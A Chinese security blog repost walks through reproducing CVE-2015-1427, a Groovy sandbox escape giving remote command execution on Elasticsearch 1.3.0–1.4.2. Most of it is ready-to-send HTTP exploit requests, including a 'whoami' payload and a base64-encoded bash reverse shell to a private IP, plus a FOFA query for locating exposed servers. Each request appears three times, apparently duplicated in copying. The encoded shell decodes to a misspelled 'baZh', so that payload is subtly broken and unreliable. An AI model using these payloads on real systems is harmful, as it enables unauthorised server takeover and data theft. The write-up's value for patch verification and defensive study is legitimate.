-CVE-2015-1427 ElasticSearch 命令执行漏洞（Groovy 沙盒绕过）

0837

本文转载于公众号：融云攻防实验室，原文地址：

漏洞复现-CVE-2015-1427 ElasticSearch 命令执行漏洞（Groovy 沙盒绕过）

0x01 阅读须知

资源来源于网络，安全小天地只是再次进行分享，使用请遵循本站的免责申明

0x02 漏洞描述

 Elasticsearch向使用者提供执行脚本代码的功能，支持mvel, js,groovy,python,和native语言，新版本脚本语言引擎换成了Groovy，并且加入了沙盒进行控制，危险的代码会被拦截，结果这次由于沙盒限制的不严格，导致远程代码执行。

图片[1]--CVE-2015-1427 ElasticSearch 命令执行漏洞（Groovy 沙盒绕过）-安全小天地

0x03 漏洞复现

漏洞影响:Elasticsearch 1.3.0-1.3.7、1.4.0-1.4.2

FOFA:“ElasticSearch”

1.利用该漏洞要求Elasticsearch中有数据，所以先创建一条数据

POST /website/blog/ HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
{
  \"name\": \"test\"
}
POST /website/blog/ HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

{
  \"name\": \"test\"
}
POST /website/blog/ HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

{
  \"name\": \"test\"
}
图片[2]--CVE-2015-1427 ElasticSearch 命令执行漏洞（Groovy 沙盒绕过）-安全小天地

2.执行系统命令whoami

POST /_search?pretty HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 493
{
    \"size\":1,
    \"script_fields\": {
        \"test#\": {  
            \"script\":
                \"java.lang.Math.class.forName(\\\"java.io.BufferedReader\\\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\\\"java.io.InputStreamReader\\\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"whoami\\\").getInputStream())).readLines()\",
            \"lang\": \"groovy\"
        }
    }
}
POST /_search?pretty HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 493

{
    \"size\":1,
    \"script_fields\": {
        \"test#\": {  
            \"script\":
                \"java.lang.Math.class.forName(\\\"java.io.BufferedReader\\\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\\\"java.io.InputStreamReader\\\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"whoami\\\").getInputStream())).readLines()\",

            \"lang\": \"groovy\"
        }
    }

}

POST /_search?pretty HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 493

{
    \"size\":1,
    \"script_fields\": {
        \"test#\": {  
            \"script\":
                \"java.lang.Math.class.forName(\\\"java.io.BufferedReader\\\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\\\"java.io.InputStreamReader\\\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"whoami\\\").getInputStream())).readLines()\",

            \"lang\": \"groovy\"
        }
    }

}
图片[3]--CVE-2015-1427 ElasticSearch 命令执行漏洞（Groovy 沙盒绕过）-安全小天地

3.反弹shell

POST /_search?pretty HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 584
{
    \"size\":1,
    \"script_fields\": {
        \"test#\": {  
            \"script\":
                \"java.lang.Math.class.forName(\\\"java.io.BufferedReader\\\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\\\"java.io.InputStreamReader\\\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"bash -c {echo,YmFaaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjcwLzY1NDIgMD4mMQ==}|{base64,-d}|{bash,-i}\\\").getInputStream())).readLines()\",
            \"lang\": \"groovy\"
        }
    }
}
POST /_search?pretty HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 584

{
    \"size\":1,
    \"script_fields\": {
        \"test#\": {  
            \"script\":
                \"java.lang.Math.class.forName(\\\"java.io.BufferedReader\\\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\\\"java.io.InputStreamReader\\\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"bash -c {echo,YmFaaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjcwLzY1NDIgMD4mMQ==}|{base64,-d}|{bash,-i}\\\").getInputStream())).readLines()\",

            \"lang\": \"groovy\"
        }
    }

}
POST /_search?pretty HTTP/1.1
Host: x.x.x.x:9200
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 584

{
    \"size\":1,
    \"script_fields\": {
        \"test#\": {  
            \"script\":
                \"java.lang.Math.class.forName(\\\"java.io.BufferedReader\\\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\\\"java.io.InputStreamReader\\\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"bash -c {echo,YmFaaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjcwLzY1NDIgMD4mMQ==}|{base64,-d}|{bash,-i}\\\").getInputStream())).readLines()\",

            \"lang\": \"groovy\"
        }
    }

}
图片[4]--CVE-2015-1427 ElasticSearch 命令执行漏洞（Groovy 沙盒绕过）-安全小天地
(注：要在正规授权情况下测试网站：日站不规范，亲人泪两行)
------本文已结束，感谢您的阅读------
THE END
技术教程
# 漏洞复现# 漏洞# cve# elasticsearch# 命令执行# CVE-2015-1427# Groovy 沙盒绕过
喜欢就支持一下吧
点赞7 分享
Mankind is made great or little by its own will.
一个人伟大或渺小，取决于他的意志力
C语言教程的头像,网络安全爱好者中心-神域博客网
相关推荐
评论 抢沙发

请登录后发表评论

    暂无评论内容

文章目录
文章目录